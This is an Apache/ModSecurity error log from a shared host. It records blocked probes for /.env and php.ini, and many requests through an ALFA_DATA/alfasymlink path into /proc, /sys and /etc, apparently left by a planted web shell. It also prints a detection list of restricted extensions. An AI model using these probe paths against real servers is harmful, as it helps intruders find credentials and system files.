[Mon Oct 26 19:29:00.555907 2026] [security2:error] [pid 3113375:tid 3113375] [client 130.12.180.165:48502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_iPLFVcNHq_I-IXO777wAAAAM"]
[Mon Oct 26 19:29:00.556242 2026] [security2:error] [pid 3113375:tid 3113375] [client 130.12.180.165:48502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_iPLFVcNHq_I-IXO777wAAAAM"]
[Mon Oct 26 19:29:02.496585 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.233.219.155:60936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:29:03.121559 2026] [security2:error] [pid 3117426:tid 3117426] [client 130.12.180.167:30916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_iP_5ZEdGRoel0j8fd8gAAAAg"]
[Mon Oct 26 19:29:03.121797 2026] [security2:error] [pid 3117426:tid 3117426] [client 130.12.180.167:30916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_iP_5ZEdGRoel0j8fd8gAAAAg"]
[Mon Oct 26 19:29:03.122020 2026] [security2:error] [pid 3117426:tid 3117426] [client 130.12.180.167:30916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_iP_5ZEdGRoel0j8fd8gAAAAg"]
[Mon Oct 26 19:29:06.465137 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 23.23.99.55:22057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/subsystem/drivers_probe
[Mon Oct 26 19:29:10.527927 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.204.89.12:19386] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:29:12.343069 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 160.119.76.158:60878] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 19:29:12.491154 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 160.119.76.158:58048] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 19:29:14.250441 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 44.223.193.255:13862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rescan
[Mon Oct 26 19:29:22.921219 2026] [security2:error] [pid 3117426:tid 3117426] [client 85.208.96.207:40652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/xmb/php81/extend.php"] [unique_id "at_iUv5ZEdGRoel0j8fd8wAAAAg"]
[Mon Oct 26 19:29:22.921280 2026] [security2:error] [pid 3117426:tid 3117426] [client 85.208.96.207:40652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/xmb/php81/extend.php"] [unique_id "at_iUv5ZEdGRoel0j8fd8wAAAAg"]
[Mon Oct 26 19:29:30.364237 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.210.155.69:60728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:29:38.503412 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.84.60.17:35761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:29:46.272963 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.204.89.12:48460] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:29:50.431039 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.87.62.248:53695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:29:54.389996 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 18.232.11.247:45496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:02.269039 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.70.209.13:60291] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:14.361088 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.207.69.106:42578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:18.281946 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.231.193.38:4165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:31.079890 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 185.191.171.8:38464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:42.449417 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.45.92.83:53413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:46.316698 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.83.10.183:10470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:30:54.318091 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.212.131.50:61143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:31:02.307158 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.45.77.169:12406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:31:06.303223 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.205.113.104:12901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:31:14.306308 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 44.223.116.180:29877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:31:22.585227 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 35.169.102.85:8511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:31:30.847151 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.5:61382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/usersize
[Mon Oct 26 19:31:41.949507 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 185.191.171.7:58184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/slabs
[Mon Oct 26 19:31:46.251250 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.195.60.66:63852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:31:50.242621 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.202.88.37:29953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:02.276162 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.28.133.214:32987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:06.248915 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.206.212.24:51661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:10.257358 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.213.85.234:45237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:14.353898 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 184.73.195.18:35665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:26.607971 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.152.163.42:35210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:30.243644 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.156.248.117:56069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:34.407171 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 34.196.237.236:60913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/devices/0000:00:01.2/usbmon/usbmon1/device/subsystem/drivers/vmd/module/uevent
[Mon Oct 26 19:32:46.254173 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 23.22.59.87:4874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:50.265870 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.235.158.162:20669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:32:54.287036 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.73.167.217:61250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:02.387125 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 184.73.195.18:28548] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:06.262265 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.202.233.37:20406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/device:03/physical_node/remove
[Mon Oct 26 19:33:10.356000 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.81.253.213:30630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:14.472294 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.169.119.108:45991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:38.300659 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.224.205.25:59240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:42.397899 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.234.206.30:55167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:46.251911 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.147.238.89:6581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:50.399909 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 44.208.223.68:1718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/controlD64/device/resource1
[Mon Oct 26 19:33:54.406065 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.232.39.98:11563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:33:58.404714 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 34.231.118.144:41880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/graphics/fb0/device/remove
[Mon Oct 26 19:34:02.691968 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.235.158.162:58303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:34:10.405039 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.85.7.119:33791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:34:30.375630 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.215.112.101:62100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:34:30.590984 2026] [security2:error] [pid 3113375:tid 3113375] [client 107.172.76.131:56813] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_jerFVcNHq_I-IXO78AwAAAAM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 19:34:30.591031 2026] [security2:error] [pid 3113375:tid 3113375] [client 107.172.76.131:56813] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_jerFVcNHq_I-IXO78AwAAAAM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 19:34:34.256971 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.6.97.88:37904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:34:42.456610 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.225.87.80:20952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:34:46.349049 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 54.85.7.119:33332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:35:02.344227 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.4.229.9:40674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:35:06.275983 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.210.223.61:24701] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:35:10.332743 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.89.90.224:34263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:35:18.426682 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.202.52.82:32406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/node0/cpu1/crash_notes
[Mon Oct 26 19:35:38.517295 2026] [ssl:error] [pid 3117426:tid 3117426] (5)Input/output error: [client 3.219.81.66:42730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:35:46.334721 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.224.205.25:21766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:35:50.784218 2026] [security2:error] [pid 3117428:tid 3117428] [client 85.208.96.200:36022] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/627/net/dev_snmp6/lo"] [unique_id "at_j1iWN_iofYZIHyv47iQAAAAs"]
[Mon Oct 26 19:35:50.784281 2026] [security2:error] [pid 3117428:tid 3117428] [client 85.208.96.200:36022] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/627/net/dev_snmp6/lo"] [unique_id "at_j1iWN_iofYZIHyv47iQAAAAs"]
[Mon Oct 26 19:36:04.575289 2026] [security2:error] [pid 3098116:tid 3098116] [client 187.65.121.15:59722] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at_j5DS1e-yu7xYT1dr7eQAAAAk"], referer: https://five.co.in/redirect.php?ref_host=ucotlg.com
[Mon Oct 26 19:36:04.576456 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 187.65.121.15:59722] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=ucotlg.com
[Mon Oct 26 19:36:14.265768 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.194.226.74:25728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:36:18.360729 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 3.221.244.28:18505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/custom_divisor
[Mon Oct 26 19:36:35.197102 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 3.223.181.32:41889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/serial/bind
[Mon Oct 26 19:36:50.363848 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.23.137.202:16757] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:10.515420 2026] [ssl:error] [pid 3117428:tid 3117428] (5)Input/output error: [client 100.29.155.89:11885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:14.348251 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.209.35.147:54414] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:26.595179 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.212.86.97:26534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:34.263404 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.159.18.27:27857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:38.310590 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 100.28.133.214:58475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:39.768005 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.102:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "at_kQ6-38nK2hNeBrtRCyAAAAAE"]
[Mon Oct 26 19:37:39.768450 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.102:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "at_kQ6-38nK2hNeBrtRCyAAAAAE"]
[Mon Oct 26 19:37:39.768725 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.102:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "at_kQ6-38nK2hNeBrtRCyAAAAAE"]
[Mon Oct 26 19:37:42.350557 2026] [security2:error] [pid 3098114:tid 3098114] [client 129.226.146.146:36848] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_kRoU8RArHmY5bTmWucwAAAAY"]
[Mon Oct 26 19:37:42.352279 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 129.226.146.146:36848] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 19:37:50.722654 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.227.180.70:40228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:37:54.574703 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.221.37.41:13766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:10.340527 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.94.156.104:39598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:13.337568 2026] [security2:error] [pid 3098113:tid 3098113] [client 64.20.54.226:45646] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/T_I1XQO8SCUBMG659U87LN5K36IUY1OW"] [unique_id "at_kZbHarSgES5WqcDhIDQAAAAU"]
[Mon Oct 26 19:38:13.337611 2026] [security2:error] [pid 3098113:tid 3098113] [client 64.20.54.226:45646] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/T_I1XQO8SCUBMG659U87LN5K36IUY1OW"] [unique_id "at_kZbHarSgES5WqcDhIDQAAAAU"]
[Mon Oct 26 19:38:14.346557 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.202.52.82:37088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:16.021686 2026] [security2:error] [pid 3117428:tid 3117428] [client 64.20.54.226:55680] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/85-YF1W82RT8XBN1AYPWYOR3SBHVU4-G"] [unique_id "at_kaCWN_iofYZIHyv47lgAAAAs"]
[Mon Oct 26 19:38:16.021726 2026] [security2:error] [pid 3117428:tid 3117428] [client 64.20.54.226:55680] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/85-YF1W82RT8XBN1AYPWYOR3SBHVU4-G"] [unique_id "at_kaCWN_iofYZIHyv47lgAAAAs"]
[Mon Oct 26 19:38:18.447471 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.203.68.145:21178] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:26.318986 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.84.169.196:38359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:46.273300 2026] [ssl:error] [pid 3098114:tid 3098114] (5)Input/output error: [client 3.217.171.106:50367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:50.433173 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.225.87.80:16350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:38:54.487839 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 34.233.219.155:54106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/ec/unbind
[Mon Oct 26 19:39:02.394427 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.234.200.207:35981] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:39:10.403373 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.225.181.161:14731] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:39:14.247867 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 107.20.255.194:9579] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:39:22.613759 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.193.2.57:25423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:39:34.557038 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.194.165.45:48304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:39:41.139348 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.14:35280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/align
[Mon Oct 26 19:39:48.376379 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.3:58546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/cache_dma
[Mon Oct 26 19:39:54.487053 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.232.12.157:36055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:39:58.324653 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.144.185.255:30598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:40:02.393121 2026] [ssl:error] [pid 3117428:tid 3117428] (5)Input/output error: [client 52.3.156.186:12407] AH02013: coalesce failed to read from data bucket
